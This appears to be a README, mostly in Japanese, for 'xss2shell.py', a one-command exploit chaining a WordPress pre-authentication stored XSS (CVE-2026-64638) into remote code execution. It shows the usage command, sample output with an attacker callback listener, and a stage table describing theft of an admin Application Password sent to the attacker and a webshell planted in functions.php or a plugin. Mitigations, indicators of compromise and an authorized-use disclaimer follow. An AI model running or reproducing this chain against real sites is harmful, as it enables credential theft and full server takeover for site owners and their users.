
CVE-2026-64638 | WordPress < 7.0.3 認証前の保存型XSS → RCE
WordPress < 7.0.3 は wp-login.php の log(ユーザー名)パラメータをサニタイズしない。この値は管理者の認証済みセッション内に保存・レンダリングされる — ワンクリックで完全なサーバー乗っ取りにつながる認証前の蓄積型XSSである。
Victim clicks lure ---> XSS fires ---> App Password stolen ---> Shell planted ---> RCE
# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php
============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.
usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]
-t, --target Target WordPress URL
-c, --command OS command to execute on the server
--lhost Attacker callback IP (default: auto-detect)
--lport Attacker callback port (default: random)
--keep Don't clean up artifacts after exploitation
| 段階 | アクション | 詳細 |
|---|---|---|
| 1. XSS | wp-login.php 経由でインジェクション | DOM clobbering (<area id=ajaxurl>) を伴う細工された log パラメータが WP の AJAX URL をハイジャックし、JSONP 経由で App Password の承認を自動クリックする |
| 2. 窃取 | Application Password の持ち出し | authorize-application.php が密かに App Password を作成し、success_url がそれを攻撃者へ送信する |
| 3. シェル | ウェブシェルの書き込み (3 つのフォールバック) | テーマエディタ → functions.php · プラグインアップロード → xss2shell/shell.php · プラグインエディタ → 既存のプラグインファイル |
| 4. RCE | OS コマンドの実行 | ウェブシェルが shell_exec() を実行し、JSON 出力を返す。ツールが自動検証してクリーンアップする |
| バージョン | ステータス |
|---|---|
| WordPress < 7.0.3 | 脆弱 |
| WordPress >= 7.0.3 | 修正済み |
| 条件 | 影響 |
|---|---|
DISALLOW_FILE_EDIT | テーマ/プラグインエディタがブロックされる — ZIP アップロードのみ機能する |
DISALLOW_FILE_MODS | 3 つの手法すべてがブロックされる — RCE 不可 |
| WAF (Cloudflare、Wordfence) | XSS ペイロードやウェブシェルリクエストをフィルタリングする可能性がある |
PHP の disable_functions | shell_exec がブロックされる — 出力が空になる |
| ポップアップブロッカー | ポップアップの連鎖が途切れる |
| 厳格な CSP ヘッダー | インライン JS やクロスオリジンの fetch をブロックする |
xss2shell があなたのサイトに対して使用された場合は、以下の指標を探してください:
XSS2Shell-Poc-Wordsec の Application Passwordwp-content/plugins/ 内のプラグイン xss2shellfunctions.php または任意のプラグインファイル内の文字列 xss2shell_cmd/?rest_route=/&_method=GET&_jsonp= への JSONP リクエストCVE-2026-64638 の公開 PoC はすべて alert(1) で止まるか、トリアージ担当者が再現できない手動手順を必要とします。このツールは単一のコマンドで完全なチェーンエクスプロイトを実現します — 認証ゼロから RCE まで。理論ではなく証拠を必要とするセキュリティ研究者のために作られました。
認可されたセキュリティテストおよび教育目的のみに使用してください。自身が所有するシステム、またはテストの明示的な書面による許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。
WordSec · CVE-2026-64638 · WordPress 7.0.3 で修正済み